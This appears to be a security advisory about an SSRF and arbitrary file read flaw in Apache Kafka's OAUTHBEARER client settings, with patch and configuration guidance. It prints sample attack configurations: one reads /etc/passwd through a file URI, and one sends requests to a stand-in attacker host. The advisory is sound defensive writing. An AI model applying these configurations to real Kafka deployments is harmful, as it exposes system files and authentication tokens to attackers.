Apache Kafka SSRF Vulnerability Allows Attackers to Access Arbitrary Files

A concerning security flaw has emerged affecting Apache Kafka, the widely adopted distributed event streaming platform. Researchers have identified a Severe Server Side Request Forgery (SSRF) vulnerability coupled with arbitrary file read capability within its SASL/OAUTHBEARER client configuration system.

This vulnerability exposes systems to significant risk, especially in environments where Kafka client configuration can be influenced by untrusted users.

Technical Deep Dive: The Vulnerability Explained

The vulnerability centers on the way Apache Kafka Clients handle configuration options for SASL/OAUTHBEARER authentication. Specifically, the settings sasl.oauthbearer.token.endpoint.url and sasl.oauthbearer.jwks.endpoint.url are meant to specify the location of authentication tokens and JSON Web Key Sets. However, these parameters are not sufficiently restricted, allowing malicious actors to set them to arbitrary values, including:

• File paths on the disk, which can be read and reflected in error logs.
• URLs to internal or external endpoints, enabling SSRF attacks.

Exploitation Example:
In a Kafka Connect REST API scenario, if an attacker can provide configuration data (e.g., via the REST API of a managed Kafka Connect service), they can specify paths or URLs that leak sensitive information or trigger requests to unintended services.

Code Example: Attack Scenario

Here’s a sample configuration that could be exploited, potentially allowing file reads or SSRF:

textsasl.mechanism=OAUTHBEARER
sasl.login.callback.handler.class=org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler
sasl.jaas.config=org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required;
sasl.oauthbearer.token.endpoint.url=file:///etc/passwd

The above could, in some versions or error log output, result in the contents of /etc/passwd being included in error messages (for file URIs). Similarly, if set to an HTTP URL, the Kafka client would attempt to reach out to that endpoint:

textsasl.oauthbearer.token.endpoint.url=https://attacker.example.com

This could leak authentication tokens or sensitive information to an attacker-controlled server.

Mitigation and Remediation

Patch and Configuration Update

Apache Kafka has addressed this vulnerability starting from version 3.9.1 and 4.0.0:

• Introduced system property:
  -Dorg.apache.kafka.sasl.oauthbearer.allowed.urls
• Purpose:
  Restricts the allowed URLs in SASL OAUTHBEARER configuration.
• Behavior:
  • Apache Kafka 3.9.1:
    • By default, accepts all URLs for backward compatibility.
    • Users should explicitly set allowed URLs for security.
  • Apache Kafka 4.0.0 and newer:
    • The default value is an empty list (no URLs allowed).
    • Administrators must specify which URLs are permitted.

Example of how to configure the allowed URLs:

bashjava -Dorg.apache.kafka.sasl.oauthbearer.allowed.urls=https://trusted-auth.example.com,https://internal-auth.example.com -jar your-kafka-connect.jar

This ensures that only specified endpoints can be used for token and JWKS retrieval, significantly reducing the risk of exploitation.

Other Best Practices

• Restrict configuration access:
  Limit who can submit or modify Kafka Connect configurations, especially in multi-tenant or SaaS environments.
• Monitor your logs:
  Regularly check Kafka logs for unusual file or URL access patterns.
• Upgrade and patch promptly:
  Migrate to Kafka 3.9.1 or later and enable URL restrictions as soon as possible.

The SSRF and arbitrary file read vulnerabilities in Apache Kafka’s SASL/OAUTHBEARER client configuration mechanism present a real risk, particularly in managed environments like Kafka Connect. Attackers could use these flaws to access sensitive files or trigger requests to arbitrary locations.

By upgrading to Kafka 3.9.1 or newer and configuring allowed URLs, organizations can dramatically reduce their attack surface.

Given the widespread use of Apache Kafka in mission-critical systems, rapid adoption of these security improvements is strongly recommended.